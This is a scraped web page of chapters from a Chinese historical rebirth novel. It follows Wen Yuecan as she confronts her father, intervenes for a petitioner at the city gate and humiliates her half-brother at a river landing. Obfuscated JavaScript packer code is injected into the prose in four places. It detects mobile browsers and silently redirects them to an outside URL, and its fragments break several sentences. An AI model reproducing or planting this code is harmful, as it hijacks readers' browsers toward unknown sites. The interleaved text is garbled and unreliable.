;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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午后的太阳照亮了她的半边脸,温月惭轻轻嗯了一声。 “殿下就在外面,温大人想治我什么罪? 温朝山还要张口,温月惭却不再给他机会。她将手中木盒往前一递。 “父亲不肯认我……也罢,我今日来,也是想给父亲送上一份薄礼,聊表孝心。”她放轻了声音:“父亲亲自来拆吧?” 温朝山满腹狐疑地接过那木盒子,轻轻推开了盒盖。 刚打开一条缝,血腥味就扑面而来。 温朝山的面色青灰,手指死死压在盒盖上。 “怎么了?父亲?” 温月惭语气里尽是关心。她伸出手,死死扣住温朝山的手腕,逼他用力。 盒盖倏然被掀开,浓郁的血腥气搅得温朝山胃里一阵翻江倒海。他强忍下恶心低头看去,看到了一双切口粗糙,被糊满了血的断手。 他手一抖,盒子差点掉下去,温月惭却伸手扶住了那盒子。 “父亲不喜欢吗?” 她温声道:“这是昨晚来的其中一人的手,另一人的,父亲想看,我给父亲拿来。” 温朝山一把拉住她:“不必了……” 温月惭笑了:“本来想将二人的头献来给父亲,又怕脏了父亲的眼,只好送这双没好歹的手来了。父亲……” 她前倾:“你认得他们吗?” 温朝山抬头:“光天化日,你胆敢杀人,还敢闹到本官面前来……真以为有太子在,我就奈何不了你?” 温月惭压低了眉眼,看起来有些委屈:“看来父亲不认得他们了……” 她抖了抖袖口,一张薄纸从袖中滑落至她指尖;她将纸页抖开,举到温朝山面前:“那父亲,认不认得这东西?” 温朝山将目光移过去,脸色逐渐变得好看。 上面白字黑字,画的是他雇凶的押。 “这是我从尸体上花了好大力气搜来的,父亲可要看清楚了。” 他叹出一口气:“你要做什么?” “我这个人,胆子小,最是怕死。”温月惭又扬起了嘴角:“母亲亡故,我一个人孤苦伶仃,家里还进了这样的坏人,这不是把我往绝路上逼嘛。” “父亲若是大发善心,愿意留下我,给我一条生路,我自好好待在后院,绝不生事。” “温,月,惭。”温朝山死死盯着她:“我记得你了。” 温月惭站直了身子:“夜来霜月岂惭春。” 她笑道:“父亲记好了,女儿日日夜夜等着为您尽孝呢。” 4. 第四章 万鬼同哭 “面条——阳春面嘞——” 清晨的风还有少许冷清,温府边面摊的老板对着行人吆喝着。 卫陵坐在一旁,抽了双筷子拨弄着碗中的青菜。 一阵风掀开耳发,灌进衣领里,他微微抖了抖,却听见老板的声音倏然拔高。 “公子!来碗面嘞!” 他抬起头,就看见顾重晋那张温润的笑脸。 “殿……” 他赶忙起身要行礼,顾重晋对老板微微摆了摆手,看见他的动作,赶紧上来扶住他。 “这是在外面,不必。” 顾重晋按着卫陵的手臂,要他坐着,而他自己也在长凳上坐下。 “卫先生昨日既已入了府,怎么今个一大早不在府内用饭?” 卫陵一时语塞,顾重晋若有所思往温府门口看了一眼,自顾自笑了笑。 “听说温家大小姐身子不好,常年养在寺里;温家明日就要启程进京,今天要接大小姐回府。“ 他转过头,玩笑似地道:“小姐到底是住在寺里,还是潼川巷,这谁说得清……温大人这一招好,谁都不掉颜面。” 卫陵的筷子在清亮的面汤里一顿:“此事,还要多谢殿下的成全。” 顾重晋摇了摇手里的折扇:“借个名头,不算什么。温朝山是草包,脑子总要长;他是如何做得京官,他自己清楚。他的价值还不足以让二弟和司礼监保他,若是不想沦为弃子,跟我的人单独见过面的事,他也不能让别人知道了去。” 卫陵垂了眸子,把面上的葱花搅开。 他和温月惭知道顾重晋在想什么。 顾兰安有了司礼监助力,势力根深蒂固,现在把温朝山的官位扒个干净,伤及不到根本,不如先随他去。 线放得深,才能钓到大鱼。 卫陵正出神,路边忽地蹦过来几颗石子,砸在他鞋面上。他抬起头,见街上骨碌碌地驶过来一架马车,几声铃响后,正正停在温府门口。 “欸,来了来了。” 边上食客低声道。 面摊老板一边擦着碗,一边扭过头:“什么来了?” 食客抬起头:“你日日在这做生意,还不知道么?今日温家要接他家大小姐回来呢!” 老板惊奇道:“只晓得大人有位小公子,哪里还有位小姐?” “嗨呀,我们也是今日才晓得,说是出身不好,又体弱多病,一直养在寺里。” …… 卫陵听着边上人聊着,手上动作慢了些。顾重晋瞧了瞧他的脸色,失笑道:“行了,人既来了,我也不跟你聊了。” 卫陵这才转过弯儿来:“殿下为何到此?” 顾重晋拍拍他的肩膀:“找你。待会拿着我的牌子,去西城门找张御史和温朝山要个人。” 卫陵接过东宫手令,沉默了一瞬:“何事?何人?” 顾重晋的笑容冷了冷,一眨眼,又温和如初:“小事。” 卫陵看着顾重晋转身离开,拐入了街角,便将令牌揣入怀中。 温府的大门已经打开,里头规规整整走出两行侍婢。那辆马车轻轻摇了摇,接着,车帷里漾出一片迎春花般颜色鲜嫩的衣角。 温月惭今日实在不同。 与昨日不同,与上一世……也不同。 嫣唇桃腮,配上一支花钗,让那双猫儿一般的眼睛在细碎的春光里更显得动人。 卫陵眼前闪过上一世,他们隔桌而坐时,女人耳边摇晃的东珠,微微眨了眨眼,看着那位青裙侍婢将温月惭扶下车。 “小姐,奴婢以后就在您院里伺候了,奴婢名唤……” “青栀。” 温月惭含笑的声音飘过来。 青栀有些错愕地点点头,引着温月惭往府内走。一阵风斜斜吹过,从卫陵脚刮起一片沙尘,横穿过街面,跟在女子身后涌进了府内。 温月惭走下石阶,看着有些冷清的门口,哼笑了一声。 “小姐,夫人今日身子不适,实在无法起身,叫了小少爷在床前候着。夫人已经嘱咐奴婢好好安顿小姐了。” 青栀很有眼色地补了一句。 温月惭看起来倒也不甚在意:“那父亲呢?” “大人刚刚出门,似乎是有急事。” 温月惭点了点头。 上一世,进了温府后守着她的也是这个青栀。青栀就是温朝山的眼线,自然也不会对她坦诚相待。温朝山去了哪里,她是真不清楚还是假不清楚,追问也问不出来,自然也不必再为难她。 早春的清晨,掠过的风还有几丝寒意;温月惭打了个寒战,抬头看了看从厚云层里渗出来的几缕阳光,心里无故觉得有些发毛。 她摇了摇头,抬脚正要走,外面街上突然传来了一声响亮的叫唤。 “西门……西门!西门有个人拖着两个死人跪在城门口!” 温月惭眸光猛地一滞,又听见外头摊子上桌椅板凳响成一片。 “什么?” “怎么了怎么了?” …… 青栀愣了愣,轻声开口:“小姐,奴婢带您进去……?” 温月惭抬手止住她的话,转身看向门口的小厮:“门别关。” 府门厚重,开关之间木头摩擦的声音叫人牙酸。 外头那人气喘吁吁:“瞧不真切,看着像是要饭的,叫千户送了封血书进城,接着就拖着两个死人跪在那,怀里还抱了个孩子,也不知道是死是活……就这么个人,还要好几个守城兵拿刀架着,听说待会温大人也要过去哩!” 温月惭眉头一皱,几步走到门口。 唯一的几缕春阳又被厚云遮住了,阴沉沉地叫人更加不安。 那人继续说着。 “我远远听着,他还在那不停地喊着什么……” 人群一下子围了上去。 “喊什么?” “快说啊!” 温月惭眸色渐渐暗下去,看着那人的嘴唇开开合合。 “好像是……” “曲苧血冤,青冥不见,万鬼同哭!” 砰—— 大门不再吱呀,重重合上;春风在此刻也不再温柔,刮过温月惭耳畔,冷得像一支暗箭。 温月惭唇齿轻启:“曲苧血冤,青冥不见……” 鼻尖嗅到了一丝湿潮的气息,大风呼啸着把她穿透,又叫嚣着冲向城西。 她遍体发寒。 “万鬼同哭!” 一位布衣少年跪在城门前,背对着身后的蓁莽荒秽,透过那石门,迎着最后一点即将消逝的春阳。 风穿过城门,变得又烈又急,迎面刺向少年的额头,将额发搅得凌乱。 少年面色灰白,指节枯瘦,紧紧搂着怀里的婴儿。在他身后,摆着两具被布条裹着的尸首。 云层来了又去,没有一丝光亮照在他们身上。那尸体漫出暗红色的血迹,将布条浸染得看不清原色。 “曲苧血冤…” 少年的声音嘶哑,从胸肺里死死挤出来。 他身侧横着四把长刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367915|183895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,寒光映在他脸上,那双眼通红,让他看起来像是发了疯的野兽。 “曲苧血冤!” 他狠狠往前一扑,撞在刀刃上,脖颈处流出血来。 尸体散发出阵阵难闻的腐臭,和少年扭曲的声音搅在一起。 “青冥不见,万鬼同哭!” “万鬼同哭!” 人群正窃窃私语,后方不知是谁高声喊道:“知州大人来了!” 守备的刀一抖,忙收了刀锋,向那缓缓驶来的车马走去。 温朝山从马车上几步走下,越过车边拱手行礼的守备,向那少年走去。 他在少年身前站定,垂眸扫了一眼少年怀中没有生息的孩子。 “你送来的东西,我看了。” 他说:“回去吧。” 少年干裂的双唇抖了抖:“你是谁。” “图州知州,温朝山。” 话音落下,少年的手指动了动,他看了看怀中的孩子,面色中流露出一丝不易被察觉的温情。 那孩子被他小心翼翼地往怀中拢了拢,接着,他踉跄着站了起来,看向温朝山的眼神叫人心惊。 “我要见钦差大人。” 温朝山抖了抖袖口,将那块粗糙的麻布递到少年面前:“你散布谣言,煽惑人心;钦差大人代陛下巡狩,你却于城门咆哮,冲撞天威。” 他把那块麻布甩在少年胸口:“一封血书,无凭无据,本官未治你重罪,还亲自前来已是开恩,你当知足。” 少年身上的薄衣遮盖不住锋利的骨形,他眼中恨意愈浓,嘴角扯出一丝冷笑,慢慢退到两具尸体中间。 山林中的群鸟忽地发出一阵尖鸣。 “草民状告曲苧知县,贪墨,滥杀!” 人群哗然,温朝山大喝:“拦住他!” 长棍狠狠打在他背上,少年下意识死死护住怀中的孩子,嘴角溢出一抹鲜红。 “曲苧知县……贪墨朝廷水灾赈款,致使我……同镇百姓无处可居,无衣可穿,无粟可食……半年间,白骨漫野,十室九空——” 少年嘶吼着,守备上前扭着他的手臂,想要掐住他的咽喉。 “其为掩盖罪证,躲避巡狩,驱逐流民;我父知晓巡按御史进港图州,欲携邻里状告其罪名。” “六十余人,均于曲苧县以东三十里被尽数坑杀!” 城门内爆发出一阵惊呼,温朝山面色涨红:“压下去!” 守备的长刀脱了鞘,刀背压在少年颈后,迫使他俯下身;少年目眦欲裂,喉中几乎要喀出血来。 他抓住拦在他胸前的长刀,拼命往前扑去:“我双亲尸首在此,草民陈穹嘉,状告曲苧知县陶翀,贪墨银两,滥杀我同镇百姓六十三人!” 温朝山挥袖:“冲击城门,迹同谋逆,斩之!” “今日他死,待到明日,下令者杖责流放,动手者绞杀抵命!” 一道女声从温朝山身后的人群中冲出来,生生拦住了守备举起的长刀。 风声大作,城门前短暂地陷入沉寂。 陈穹嘉用手臂撑着地面,将孩子护在身下,缓缓抬起头来。 温月惭从人潮中挤出,鬓发凌乱,似乎是匆匆赶来。 她快走几步,在温朝山身前犹豫须臾,慢慢移到了陈穹嘉面前,翩飞的衣角遮住了温朝山看向少年的目光。 “父亲。” 她妆容不甚体面,此刻的笑容却依旧很得体。 “依刑律,这刀斩下去,钦差可以判你一个,入人之罪。” 5. 第五章 及时雨 四下寂静,只有陈穹嘉粗重的喘息压在每个人心上。 温朝山转过身,往僻静处走出几步;温月惭会意,在他身后跟上。 “你知不知道,什么事该做,什么事不该做。” 温朝山顿步,沉声道。 “我打小就蒙昧无知,今日回府也未曾见过家中人;什么不该做,我还真不知道。” 温月惭往前一步:“但我知道,贪墨,滥杀绝非小事,父亲若将此子打杀,来日事发,温家恐要沦为同罪。” 温朝山攥紧了拳头:“此事不是你能置喙的。” “大人应许陈穹嘉进城递状,面见钦差。” “浅薄之见!” 温朝山甩袖转身,把声音压低:“他口中所言真假暂且不论,贪墨暂且不论,我且问你,区区知县,若无依仗,哪来的胆子做出坑杀之事?” “此事千头万绪,难以捉摸,非得在此时按下来,否则便是天翻地覆!” 温月惭仰头:“杀一个陈穹嘉怎么够?城门前众人都长了眼睛嘴巴,父亲想将事情压下,要不要效仿曲苧,将他们都活埋坑杀?” “悠悠众口堵不住,但想要让他们口口相传的故事变个意思也很容易。只要此子身死,他究竟是前来递状,还是冲门杀官,我说了算。” 温朝山眼神阴鸷:“温家绝不能牵扯进来,否则来日贵人不悦,难保不拿你我开刀。” 温月惭垂下眼睛,不再言语。 温朝山见她闭了嘴,正要离开,却在擦肩时倏然被叫住。 “父亲见过御史张大人了吧。” 温朝山脚步一顿。 “此事与父亲无关。私拦民众,不许递状,你不敢……这是张大人的意思吗?” 温朝山切齿:“闭嘴。” “张大人是个聪明人,生怕此事背后牵扯京都贵人,有心不受理。而父亲正要升迁,正是仰赖巡按御史的时候,只好来做这个恶人,也当是卖了贵人们一个好。” 温月惭微微侧头:“我说的对吗?” 见温朝山不接话,温月惭微微一笑:“只可惜,张大人聪明,父亲却不太聪明了。” 温朝山眉心一动:“什么意思?” 温月惭看向坐在地上的陈穹嘉:“我之所以会来,是在温府门口听到有人谈论此事。你说,此刻这流言该传到哪了?” “区区蝼蚁,远不能上达天听。” “千里之堤,溃于蚁穴。” 温月惭收回目光:“钦差此刻在图州城中,多少双眼睛都盯了过来,此人在城门口呼号,往来行人都看得清楚……父亲,你还不明白吗,瞒不住的。” “你说陶翀背后有贵人依傍,可是他又为何要坑杀意图状告的百姓?” 温朝山皱眉:“自然是为了应付钦差。” “没错,而钦差是替天子巡狩。有天子,才有皇子公卿,父亲别弄错了。” 城墙历经百年,依旧坚实而厚重,此刻温朝山被夹在它与温月惭之间,竟觉得有几分呼气不顺。 “你这是大逆之言。” 温月惭略微拔高声音:“国有蠹虫却瞒而不报,才是为不忠。” 她伸手指向城门:“云雾迷蒙,父亲看不清路,我来引。” “曲苧之案注定事发,背后执子之人身份如何却扑朔迷离。父亲今日杀了陈穹嘉,便是还未摸清京都就将自己搅进漩涡。” “神仙斗法,平民遭殃。若想平安,要做的,恰恰是按部就班,循规蹈矩。父亲想要讨好贵人,可有一日火真的烧过来,你只是替死鬼而已,高官,皇子,还是张大人,没有人会保你。” 她软下声音:“此案经父亲之手上报,只要父亲把态度把控得微妙,对于初入京都的温家而言,未尝不是立足之处。” “怕是晚了。”温朝山呼出一口气:“我既已来此,这局面若是不了了之,实在无法交代。” 温月惭愣了愣。 确实如此。 她只想着救下陈穹嘉一命,可温家该如何在这激流中稳住身形,在此刻看来仍是死局。 “此事最好由太子牵头。”她嘴快说道。 “若真如此倒也皆大欢喜,可太子只是随行,牵扯进来难免受陛下猜忌,他怎会愿意?” “打搅温大人,草民应太子殿下令,来要个人。” 温朝山最后一个字刚刚说完,身后就传来一道沉静的声音。 温月惭应声扭头,卫陵就清清冷冷地站在那里。 她轻笑一声:“及时雨啊。” 卫陵见温朝山看向他,便不急不徐地从怀里将手令拿出:“此案事关重大,殿下已经向京都呈报,相关证人暂且带回行辕。” 温朝山俯身行礼,挥手叫守备撤了刀,又唤人去牵车马。 卫陵的目光轻飘飘地落在温月惭身上,凝滞了一瞬,又迅速移开。 两具尸首被装棺,一并带回行辕。陈穹嘉被守备推了一把,踉跄着扑向马车。 温月惭看着他,眸光就冷下来。 她还未思考太多,少年抱着怀中的婴孩,不着痕迹地扭头看了她一眼。 温月惭愣了一愣。 这一眼,像是探究,又有太多……她没太看明白的东西。 她回过神来时,车马已经走远,卫陵正向温朝山回礼,准备离开。温月惭抱着胳膊,食指轻轻敲着另一只手的臂弯。 这个陈穹嘉,有些意思。 看来今晚,有必要悄悄跑一趟行辕了。 她正想着,卫陵直起身,又看了她一眼。 温月惭眨了眨眼,莫名有些心虚。 西门发生的一切,一天不到就传遍了大街小巷;温月惭回到温府时,下人们正在打点府中财物,预备着明日的启程,却也会在闲暇时聊上几句曲苧县。 府里的婢子大约已经被教导过,她回府之时也无人问候,一如上辈子一般。 温月惭独自回了房间,把青栀赶了出去,有些无奈地往床上一趟。 自己上上辈子虽然重病不治,但也没成反社会人格,怎么说也是社会主义好青年;在这里待久了,怎么还真有点要被封建残余同化的趋势。 不过没人管她也好,正好方便她入夜后行动。 想到这,她翻身而起,在书桌边坐下,拿起一支笔。 行辕周围守卫森严,想要进去,并非易事。 温月惭咬着笔杆,那铺开的,用来记录行进路线的纸张被笔尖滴落的墨汁浸染,又被她画上了一只奇奇怪怪的王八。 她叹出一口气,往桌子上一趴。 要不是方才不方便,真应该先跟卫陵通个气。 虽说按照她上辈子的经验来说,此人绝非善类,但在这个境地里,也只有他,还算是一个可以稍作托付信任的对象。 温月惭这一趴,就到了天全黑的时候。 明日就要远行,府里人都歇息得早,因而刚入夜,外面就安静了下来。 温月惭捂着脸,待到稍稍清醒一些了,便走到衣橱前。 她现在的条件要好得多,起码夜里要出门,还有些不显眼的衣物可以换。 她挑了件雾黑的裙衫穿上,按照白日里青栀给她介绍的温府格局绕到后门;为了不露痕迹,只得踩着太平缸的边缘,小心翼翼地翻了出去。 顾重晋居住的行辕,是图州当地的富商特地献上的院子,富丽豪奢,最重要的是离温府很近,只要拐一条街,就能看到府邸的大门。 温月惭不敢离得太近,只得远远的绕着瞧。 门前滴水不漏自是不必说,四周围墙虽然看起来平平无奇,但是她知道,在庭院之内,全部都有侍卫把守。 温月惭有些泄气地往巷口一靠。 若是今晚没机会,那只能入京后,再寻时机把事情搞清楚了。 只怕会更难。 她处在的巷口靠近庭院后门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367916|183895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,门前挂着的风灯在地面上投出一条长长的灯影。那灯影忽地在她脚边一抖,同时,她敏锐地捕捉到了一丝细微的,木门被拉开的声音。 温月惭霎时警觉起来。 她站直了,细细听着接下来的动静。 不曾想,那声音就存在了一瞬,便再没了踪迹。 温月惭呼吸都快停滞了,正当她怀疑自己是不是听错了的时候,突然听到了一个熟悉的嗓音。 “出来吧。” 温月惭眼皮一跳。 卫陵? 他在喊谁出来? 难道是喊她? 她晃了晃脑袋。 不会,她根本没有告诉卫陵,她会到这里来。 莫非这人还在做什么见不得人的勾当,在这大半夜跟人密会? 温月惭的精神头一下子提了起来,她竖起耳朵,等着卫陵下一步的动作。 街道上人已走空,那冷寂的月色,紧闭的门扉显出与平日里截然不同的宁静。 男人有些无奈的声音非常突兀地再次响起。 “温月惭。” 温月惭心一跳,慢慢从墙后探出脑袋来,就正好对上卫陵的目光。 她瞧四周无人,忙快走几步,钻进了后门。 “你在这干什么?” 温月惭压着声音。 卫陵把门关好:“等你。” “等我?” 温月惭有些惊讶:“你怎么知道我会来?” 男人转过身,素白柔软的寝衣勾勒出他宽阔的肩臂:“陈穹嘉这个人,你一定会好奇……再说,你白日里那个眼神,一看就知道,没想做什么好事。” 温月惭语塞,她下意识环顾四周,观察守备情况。 “不必看,我悄悄在换防直牌上做了手脚,半炷香之内,不会来人。” 卫陵顺着她的目光看了一遭:“你若是想见陈穹嘉,可以回去了。” 温月惭转过头:“什么意思?” “此人现下被严格看守,任何人都不得接近,我也不行。” 他补上一句:“我也劝你不要这样做。” 温月惭理了理衣摆。 也是,陈穹嘉是曲苧案的关键证人,被死死看着,就是要防灭口,防有人威逼其改口供,在这一点上,顾重晋倒是很周全。 她仔细想想,开口叫道:“卫陵。” “嗯?” “上一世,今天的事情也发生了吗?” 这就是她今日听到百姓谈论陈穹嘉时,感到惊讶的原因。 上一世这时候,她还在操心如何在温朝山手下活下来,对这些事件并不了解;但在她的记忆里,她借李苷娘的名字回到温府后,温家很快便离开了图州,过程十分顺利。 曲苧案这般轰动,若是发生了,她也不该不知道才是。 卫陵张口:“没有。” 卫陵都不知道,那陈穹嘉在上辈子必然没有来到图州。 “我们现在做的一切,虽说和前世有所不同,但整体轨迹还是与当时重合,按理说,不会引起如此之大的变故。” 温月惭拧眉。 她眼角飞过一抹橙色光晕,似乎是有人正提灯路过。 卫陵侧了侧身,将她罩在阴影里;温月惭垂落的发丝和卫陵腰间的束带搅在一起,鼻尖也蹭过他的胸膛,染上一丝好闻的澡豆清香。 “此事我也觉得奇怪。” 他抬起手,撑在边上梨花树的枝干上,宽袖模糊了温月惭眼前的池塘,树影还有隐隐的灯光。 “刚刚来的传书,明日温府启程,太子会随行,将陈穹嘉带回京都;张廿往东,追查曲苧案。” 温月惭睫毛一颤:“路上或有机会。” “不错。” 她点点头。 “自我们重生起,我总觉得有些地方奇怪。” 她轻声:“我在想,回来的,只有我们两个吗?” 6. 第六章 卑贱 昨夜跑了一趟行辕,历经千难万险回到温府后,温月惭倒头就睡;第二天早晨青栀催了三四次,她才睡眼惺忪地爬了起来。 二人赶到官渡时,大小物件差不多都被抬上了船。 “大人本来是预备走陆路,山高水长,歇脚也方便些;但是今晨太子殿下那边来信,要与大人同行,带证人回京,便应殿下安排,临时改了水路,路上耽搁的时间会更少,也更安全。” 青栀站在温月惭身后,一边观望着渡口忙碌的人们,一边向温月惭解释道。 “小姐似乎有些疲乏,不如奴婢先带小姐回房休息吧。” 温月惭有些呆愣。 有一半是因为早起困倦,还有一半,是对眼前的楼船感到的震惊。 这就是古代版豪华游轮吧…… 上一世,她没借太子势,却也抓住了温朝山私德有亏一条回了温家,随温家一同入京。 当时走的确实是陆路。 在青栀招呼着为她整理舱室的时候,她一直上上下下地打量这上辈子没机会坐上的楼船。 左右都看清楚了,温月惭正要走上步桥,面前却突然闪过来一个人。 “你是谁?谁准你上我家船?” 温月惭闻声抬了头。 少年的模样和声音一样稚嫩,穿着一袭青灰绣着暗纹的襕衫,个头和温月惭一般高,瞧着也就十三四岁的样子。 温月惭眨了眨眼,瞌睡彻底醒了。 这不就是温家那位小公子,温煦嘛。 说实话,她对她这个名义上的弟弟其实没有太深的印象,只记得是个被父母宠得有些骄横的小少爷。 温煦不爱花天酒地,倒是很爱狸奴;除了有一回他想为他母亲亲手宰鹅煲汤却因没有下定决心,及时下手,以至于反被追着啄得哇哇叫以外,其他时候,他算是一个很有灵性的孩子。 至少,本性不坏。 温月惭无心与他纠缠。 “这就是弟弟吧。”她微笑着:“昨日归家,还未来得及与家里人相见,你自然也是不认得我的。” “你就是温月惭?” 温煦像模像样地哼了一声:“我母亲只有我一个孩子,谁是你弟弟。” 温月惭面上不见波澜。 她现在归来,虽然合情合理,但站在温煦和他母亲关夫人的角度去想,她确实是个不速之客。 他们母子二人会不待见她,她早有预料;反正她这一生还有更重要的事情要做,也不是为了讨他们喜欢而活的。 温煦扬着头:“你母亲出身卑贱,你便也卑贱,温家收留你,你就该感恩戴德了。我告诉你,你最好安分地缩好,不要总是出来抛头露面,惹母亲不快。” 温月惭怔了怔,一口气猛地从胸口涌上来,堵在喉头,让她莫名烦躁。 她忽地轻笑了一声。 她收回刚才的话。 这死孩子,就是欠收拾。 温月惭转头看了看四周,除了上上下下正往船上搬运箱子的小厮,就是不远处,三三两两正摆着摊的菜农小贩。 她的目光落在了那只关在木条笼子里的大白鹅身上。 “老伯。”她笑盈盈走向那禽贩:“这鹅怎么卖?” “三钱银子。” 老伯刚抬起头,手中就被她满满塞了一把。 “我再加一钱,这笼子我也提走了。” “温月惭!你到底有没有在听我讲话?” 温煦见这人扭头买鹅去了,瞬间感觉遭受了被忽视的奇耻大辱。他脖子都憋得染上一层粉红,往前追出几步。 “我母亲出身图州商户,是父亲纳的良妾;这是父亲的金口玉言,即便从前无人知晓这事,昨日时,也该传遍大街小巷了。既是良妾,为何卑贱?” 温月惭提着木笼转身:“你是想说父亲德行有亏,眼光不济,还是这天下平民,商户,都不配入你的眼?” 温朝山为了名正言顺接她回来,隐瞒了李苷娘的存在,编造了她的身世;但她究竟是什么来由,温家人应该是知道的。 温煦年纪小,嘴上不把门,正好能将他一军。 温煦愣了:“我不是这个意思!” 温月惭往前走,把温煦逼上步桥。 温煦本是想找她个不痛快,好让母亲开心,谁知温月惭一字一句,都是他未曾预料到的;到了此时,他竟有些无措。 “谁教你的?” 温煦结巴:“什……什么?” 温月惭张口:“谁教你,来对我说这些?” 他听懂了温月惭话里的弦外之音,面上顿时浮上怒容:“你含沙射影什么?” 温月惭勾唇:“我说中了?父亲不欲让内情被外人得知,你却在大庭广众下公然叫嚷,谁给你的胆子?若是因你言语影响父亲仕途,你和你母亲,都不会好过。” “你不要乱讲话!” 温煦一听她提到关夫人,怒极伸手指向她。 温月惭将笼子拉开,朝着温煦的手甩了过去。 白鹅扑腾着翅膀从笼中跃出来,正好撞上温煦的胳膊,顿时张牙舞爪地朝温煦啄过去。 温煦哇哇大叫的场景再次复刻;他想躲避,仓皇之中移到步桥边,被纤细的铁链一绊,就要直直往河里栽去—— 温月惭伸出手,一把揪住了他的衣领,另一只手横着一扫,把笼子扔了出去。 白鹅摇摇晃晃地追着笼子过去了。 温煦年纪不大,倒也不至于让人抓不住。温月惭把他斜斜放着,站又站不稳,掉也掉不下去,骑虎难下,难受得不行。 温月惭弯了弯眼角:“谁卑贱?” 温煦咿咿呀呀。 温月惭手微微一松,温煦又往下掉了好几分。他吓得大叫,两只手胡乱挥舞着,却始终够不到步桥上的木桩。 一旁有下船的小厮想要上前拉架,可白鹅见人就一个劲儿地挥翅膀,一时间谁也过不来。 温月惭拽着温煦衣领的手又绞紧了几分。 她眼中含着笑,声音却冷得吓人。 “我母亲不卑贱。” 温煦的眼睛红了。 “想上来吗?”她问。 温煦嘴唇轻轻抖着,他吞咽一口,侧过头,看向身下水面。 温月惭手指一松,少年半边衣袖一下子浸入了水中。 “想!” 他脱口而出。 “那该说什么?” 少年抓住温月惭的手腕,颤巍巍地开口:“……对不起。” 温月惭声音轻轻柔柔的,她弯下身子,把温煦放得更低:“什么?” “对不起……对不起!”少年的声音里带着哭腔:“拉我上去!拉我上去,求你了!” 温月惭嘴角笑意骤冷,她站起身,手腕施力,将少年一下子拉了起来:“今日不便生事,再有下次,我会让你在我母亲牌位前磕头赔罪。” 她松开手,转身把脚步放得很轻,一点一点,向那只白鹅走去。 待到靠得很近,她倏尔伸手,一把钳住了白鹅的颈部,又攥住了它的两只爪子,把白鹅圈进怀里。 “真是不听话,惊扰了温小公子,害人家差点落水遇险。” 她语气里带着微微的歉疚:“此处水深,人要是掉进去了,即便救得及时,也难免呛几口水,受些惊吓,身体娇贵的,回去也少不了病个十天半月……真是好险。” 白鹅出乎意料的乖顺,伏在温月惭怀里,细细看着周围。 她提高声音:“人要是说了不该说的话,做了不该做的事,受什么报应,都是应当的。” 她抬起头,往二楼看去。 在她目光投去的瞬间,窗口闪过一抹影子。 她轻笑一声:“再有下次,就把你丢去后厨,做成糟鹅。” 温煦捂着湿透的袖子落荒而逃,温月惭非常努力地再次把白鹅放进笼中,提起来,一扭头,却看见了岸边的卫陵。 她揉了揉眼睛。 是她的错觉吗,卫陵刚刚在笑? 仔细一看,他好像又是那副安安静静,波澜不惊的样子。 温月惭低头看看手中的白鹅,又抬头看看不远处的卫陵,眼睛忽然亮了亮。 “卫先生,快来。” 她对男人招招手,卫陵脸上染上一丝疑惑,但还是走上了步桥。 温月惭把笼子塞进他手里。 “送你个礼物。” 男人低头看看那只鹅,欲言又止。 “你就这样,当着这么多人的面为难温煦。” “这是什么话,他受惊落水,我拉了一把,哪里有为难他?”温月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367917|183895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惭哼了一声:“你什么意思?” “我是怕这事后面不好处理。你也知道,关阙,不是寻常的后宅女子。” “她若是不寻常,就更该明白我的意思,日后也别在我这越了规矩。” 她后退一步:“卫先生还有事吗?” 卫陵嘴唇张了张:“倒是有一事……” 温月惭摆手打断:“我太困了,要去休息了。你有事,晚上我们甲板上说吧。” 女子的身影转进了舱室,卫陵看着她离开,抬头看向二楼那个大开的窗口。 少年再次探出身来,正巧撞入卫陵眼中。 他轻轻捻了捻食指。 陈穹嘉。 官船过了午时才离港,整个船队呈雁翎阵型,前后呼应,左右拱卫,将主舰楼船护在中心。 约莫离开图州两个时辰,温月惭悠悠转醒,起来用过饭,想起与卫陵的约定,便出了房间,去甲板上找他。 入夜已经看不清两岸的风景,然而清风拂面却很是舒适。温月惭眯了眯眼,四下环顾,并没有瞧见卫陵的影子。 她觉得奇怪,转头又找侍婢打听了卫陵房间的位置,有些不安地找了过去。 他不像是不守约的人,未来赴约,可千万别是出了什么事。 走到房前,温月惭屏息凝神,仔细听着里头的动静。 乍一听倒是很安静,不过贴近了,却能听见里头衣料摩擦的沙沙声。 